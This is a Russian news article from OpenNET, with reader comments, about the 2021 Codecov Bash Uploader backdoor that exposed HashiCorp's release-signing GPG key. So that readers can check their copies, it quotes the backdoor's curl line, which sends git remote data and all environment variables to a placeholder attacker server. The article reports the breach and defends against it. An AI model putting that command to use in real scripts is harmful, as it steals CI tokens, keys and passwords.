The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

Внедрение вредоносного кода в скрипт Codecov привело к компрометации PGP-ключа HashiCorp

27.04.2021 08:57

Компания HashiCorp, известная разработкой открытых инструментариев Vagrant, Packer, Nomad и Terraform, объявила об утечке закрытого GPG-ключа, используемого для создания цифровых подписей, верифицирующих релизы. Атакующие, получившие доступ к GPG-ключу, потенциально могли внести скрытые изменения в продукты HashiCorp, заверив их корректной цифровой подписью. При этом компания заявила, что в ходе проведённого аудита следов попыток внесения подобных модификаций не выявлено.

В настоящее время скомпрометированный GPG-ключ отозван и вместо него введён в обиход новый ключ. Проблема затронула только верификацию при помощи файлов SHA256SUM и SHA256SUM.sig, и не коснулась формирования цифровых подписей для Linux-пакетов DEB и RPM, поставляемых через releases.hashicorp.com, а также механизмы подтверждения выпусков для macOS и Windows (AuthentiCode).

Утечка произошла из-за использования в инфраструктуре скрипта Codecov Bash Uploader (codecov-bash), предназначенного для загрузки coverage-отчётов из систем непрерывной интеграции. В ходе атаки на компанию Codecov в указанный скрипт был скрыто внедрён бэкдор, через который была организована отправка паролей и ключей шифрования на сервер злоумышленников.

Для взлома инфраструктуры Codecov атакующие воспользовались ошибкой в процессе создания Docker-образа, позволявшей извлечь данные для доступа к GCS (Google Cloud Storage), необходимые для внесения изменений в скрипт Bash Uploader, распространявшийся с сайта codecov.io. Изменения были внесены ещё 31 января, два месяца оставались незамеченными и позволяли злоумышленникам извлекать информацию, хранимую в окружениях систем непрерывной интеграции клиентов. При помощи добавленного вредоносного кода злоумышленники могли получить информацию о тестируемом Git-репозитории и всех переменных окружения, в том числе включающих токены, ключи шифрования и пароли, передаваемые в системы непрерывной интеграции для организации доступа к коду приложений, хранилищам и сервисам, таким как Amazon Web Services и GitHub.

Кроме прямого вызова скрипт Codecov Bash Uploader использовался в составе других загрузчиков, таких как Codecov-action (Github), Codecov-circleci-orb и Codecov-bitrise-step, пользователи которых также подвержены проблеме. Всем пользователям codecov-bash и связанных с ним продуктов рекомендовано провести аудит своих инфраструктур, а также поменять пароли и ключи шифрования. Проверить наличие бэкдора в скрипте можно по наличию в нём строки


    curl -sm 0.5 -d "$(git remote -v)<<<<<< ENV $(env)" http://<IP-сервера-атакующих>/upload/v2 || true


  1. Главная ссылка к новости (https://discuss.hashicorp.com/...)
  2. OpenNews: Red Hat и Google представили Sigstore, сервис для криптографической верификации кода
  3. OpenNews: Атака на зависимости позволила выполнить код на серверах PayPal, Micrоsoft, Apple, Netflix, Uber и ещё 30 компаний
  4. OpenNews: Атаковавшие SolarWinds смогли получить доступ к коду Microsoft
  5. OpenNews: Вредоносное ПО, поражающее NetBeans для внедрения бэкдоров в собираемые проекты
  6. OpenNews: Уязвимость в прошивках BMC-контроллеров, затрагивающая серверы многих производителей
Лицензия: CC BY 3.0
Короткая ссылка: https://opennet.ru/55032-codecov
Ключевые слова: codecov, backdoor, supplychain
При перепечатке указание ссылки на opennet.ru обязательно


Обсуждение (46) Ajax | 1 уровень | Линейный | +/- | Раскрыть всё | RSS
  • 1.1, Анонин (?), 10:01, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Бывает
     
     
  • 2.4, Леголас (ok), 10:33, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    никогда же нет, но вот опять
     

  • 1.2, Аноним (2), 10:03, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +10 +/
    Вот заслуживает уважения за то что не скрывают. Асус помнится распространял подписанную его ключом малварь через сервисы обновления (чья операция?).
     
     
  • 2.55, валяйте (?), 12:06, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ой дурачееек.
     

  • 1.3, пох. (?), 10:27, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +13 +/
    доскер, gcs, curl | sudo su
    все пароли от всего плейнтекстом потому что как же ж иначе скрипт сможет их использовать.
    Модная современная разработка, continuous degradation.

    Почему я и не удивлен?

     
     
  • 2.5, Леголас (ok), 10:35, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Модная современная разработка, continuous degradation

    с точки зрения двигателей прогресса: главное, что не стагнация, или «устаревание технологий» (:

     
     
  • 3.49, kvaps (ok), 07:55, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Ага, "Evolution is better than stagnation" - всё верно :)
     
  • 2.7, richman1000000 (ok), 10:42, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > continuous degradation

    это прям в точку. Даже добавить ничего не могу

     
     
  • 3.13, Леголас (ok), 11:25, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Даже добавить ничего не могу

    и не надо, просто наградите автора славным зелёным +

     
  • 2.19, Аноним (-), 13:42, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +5 +/
    > Модная современная разработка

    а чё не так?
    жсы, питоны, котлины, ява и ой-ой-ой-какие-нагруженные-перегруженные-сервисы-ой-ой-ёй, бэкэнды головного мозга, андройды, докеры, ой-ой-ёй-какие-высокие-пороги-вхождения-в-малокультурную-нижеплинтусную-разработку...

    зато за этот фаршмак платят норм... так и живём...

     
  • 2.23, Аноним (23), 13:58, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Проблема вызвана случайной публикацией пароля, доскер, gcs, curl | sudo su к ней в общем-то не имеют отношения
     
  • 2.46, Михрютка (ok), 20:43, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    https://youtu.be/p9bb8qz4FxQ?t=39
     
  • 2.50, kvaps (ok), 07:57, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А знаете что самое забавное и ироничное в этой ситуации?
    Тот факт что Hashicorp Vault - это то самое решение, которые должно было бы решить данную проблему.
     

  • 1.8, Аноним (8), 10:47, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Используйте vault говорили они...
     
     
  • 2.24, Аноним (23), 14:00, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Если бы Codecov использовал vault то вероятно не опубликовал бы пароль
     
     
  • 3.48, Аноним (8), 07:50, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    При чём тут Codecov то ?
    Хашикорп у себя в проектах использовали Codecov скрипт и очевидно хранили ключи в env ...
     
     
  • 4.51, kvaps (ok), 08:06, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Кстати, отличная иллюстрация почему не стоит "хранить все яйца в одной корзинке".

    Если они используют контейнеры для запуска CI, то запуск codecov в отдельном контейнере позволил бы избежать этой проблемы. Так как в изолированном окружении он имел бы доступ только коду репозитория и токену GitHub.

     

  • 1.9, lockywolf (ok), 10:59, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +7 +/
    Отличная новость, в которой такой старый пердун как я понял единственное слово: GPG.

    О чём вообще речь? Кто все эти люди, и что делают их классные продукты?

     
     
  • 2.11, Штыбель (?), 11:03, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    С возвращением в мир победившего DevOps'а.
    Облака, Докер-Пакер, Непрерывная интеграция, все дела...
     
     
  • 3.14, Леголас (ok), 11:27, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    хочу обратно в анабиоз
     
     
  • 4.42, Crazy Alex (ok), 19:00, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Уж что-что, а непрерывная интеграция - это хорошо. Гарантированно стандартным образом всё соберёт с нуля и без невоспроизвлдимых хитростей конкретного разработчика, тесты прогонит, анализаторы всякие... милое дело.
     
     
  • 5.53, kissmyass (?), 10:13, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    к сожалению брехня, не гарантированно, очередное обновление какого-нибудь гитлаб ранера или еще какой системы типа powershell или grunt и всё летит к чертям, притом иногда собирает, но никак не говорит о проблемах, не говоря уже о самом коде, который с определенного момента нужно собирать по-другому

    так что это нереально написать скрипт на все случаи жизни... оно конечно упрощает отчасти повседневную рутину, но добавляет гемора по саппорту всего этого велосипеда

     
     
  • 6.57, Штыбель (?), 20:23, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >оно конечно упрощает отчасти повседневную рутину, но добавляет гемора по саппорту всего этого велосипеда

    Та-даммм... для этого и нужен высокооплачиваемый специалист DevOps Engineer.

     
     
  • 7.58, kissmyass (?), 00:44, 29/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >>оно конечно упрощает отчасти повседневную рутину, но добавляет гемора по саппорту всего этого велосипеда
    > Та-даммм... для этого и нужен высокооплачиваемый специалист DevOps Engineer.

    если требуются расходы на еще одну штатную единицу для поддержания системы сборки на плаву, не проще ли оплатить некоторое количество часов разработчику за +- тот же самый результат?

    притом это скорее всего будет быстрее, дешевле и с лучшим знанием проекта

     
  • 3.26, анонн (ok), 14:13, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Облака, Докер-Пакер, Непрерывная интеграция,

    ... горы шкурок от бананов, оглушающие крики "Уг-уг! Аг-аг-аг-а-а!", из гигантской кучи экскрементов виднеется часть  исполинской статуи Древних Предтеч -  гигантская рука, сжимающая не менее гигантский факел ...

     
     
  • 4.32, YetAnotherOnanym (ok), 14:31, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > часть исполинской статуи Древних Предтеч -  гигантская рука, выставившая не менее гигантский средний палец...

    Пофиксил.

     
     
  • 5.56, Аноним (-), 13:40, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >> часть исполинской статуи Древних Предтеч -  гигантская рука, выставившая не менее гигантский средний палец...
    > Пофиксил.

    Зачем было фиксить классическую отсылку к "Планете Обезьян"?

    https://smarthistory.org/wp-content/uploads/2020/07/PotA-scaled.jpg

     
  • 2.20, Аноним (-), 13:45, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Кто все эти люди, и что делают их классные продукты?

    болото нынешней it макулатуры

     

  • 1.10, Аноним (10), 11:02, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    SaaS-ификация разработки от-SaaS-ла
     
  • 1.16, Аноним (16), 12:20, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Нагородили фигни со своими докерами, теперь страдают.
     
  • 1.22, Аноним (-), 13:50, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    > для взлома инфраструктуры атакующие воспользовались
    > ошибкой в процессе создания Docker-образа

    бесценно...

     
     
  • 2.25, Аноним (23), 14:01, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Чем именно? Точно такая же ошибка может быть и при создании iso или rpm или deb или чего угодно.
     
     
  • 3.37, andy (??), 16:18, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Точно такая же ошибка может быть и при создании iso
    > или rpm или deb или чего угодно.

    Какая же это "такая ошибка" может быть при создании deb или rpm?

     
     
  • 4.43, Crazy Alex (ok), 19:02, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Случайно засунуть туда ключи доступа к инфрастрруктуре, вестимо.
     
     
  • 5.52, Аноним (52), 08:31, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Звучит как из области фантастики.
    Давно не встречал взломов инфраструктуры из-за deb/rmp. А обсижёр докеров или выходов за пределы вмок - регулярно.
     

  • 1.27, Аноним (27), 14:15, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Университет Миннесоты теперь ложит докеры?
     
     
  • 2.28, Аноним (28), 14:27, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Кладет же! Пишы правельна!
     
     
  • 3.34, Аноним (27), 15:20, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Дитмар Эльяшевич?
    Так то ж просторечие разговорного жанра, не мне вам рассказывать.
     

  • 1.35, псевдонимус (?), 15:46, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Хорошая новость. Подробная.
     
  • 1.36, псевдонимус (?), 16:14, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Докер это глобально и надёжно. Отраслевой стандарт.

    Линукс собственно и нужен для запуска докера.

     
  • 1.38, Аноним (38), 17:42, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Чёт народ тут не признает новые технологии. Удивительно что кто-то хейтит доккер.
     
     
  • 2.54, Noname (??), 11:33, 28/04/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Потому что при выборе шашечек или ехать, приехали.

    Делали б по заветам Таненбаума и Кнута, может быть меньше обсирались.

     

  • 1.40, Аноним (40), 18:07, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    >Изменения были внесены ещё 31 января, два месяца оставались незамеченными и позволяли злоумышленникам извлекать информацию, хранимую в окружениях систем непрерывной интеграции клиентов. При помощи добавленного вредоносного кода злоумышленники могли получить информацию о тестируемом Git-репозитории и всех переменных окружения, в том числе включающих токены,

    То ли дело Coveralls:  https://github.com/TheKevJames/coveralls-python/blob/54be7545f6d8e71e3d82076e5

     
  • 1.44, Аноним (-), 19:41, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Сначала прочитал Valgrind.
    А vagrant - тот еще пц интеграции. Как-то разок попробовал и стало ясно что яуж как нибудь сам, ручками.
    С их джентельментским набором все это предсказуемо, даже и на новость не тянет. Давайте про каждого ламера теперь писать будем. Больше статей - больше рекламы.
     
     
  • 2.45, амоним (?), 20:20, 27/04/2021 [^] [^^] [^^^] [ответить]  
  • +/
    а что не так с их набором?
    отличные решения, каждая софтина закрывает определенный участок
     

  • 1.47, Аноним (47), 23:46, 27/04/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Внедрение вредоносного кода в бредоносный говнокод.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру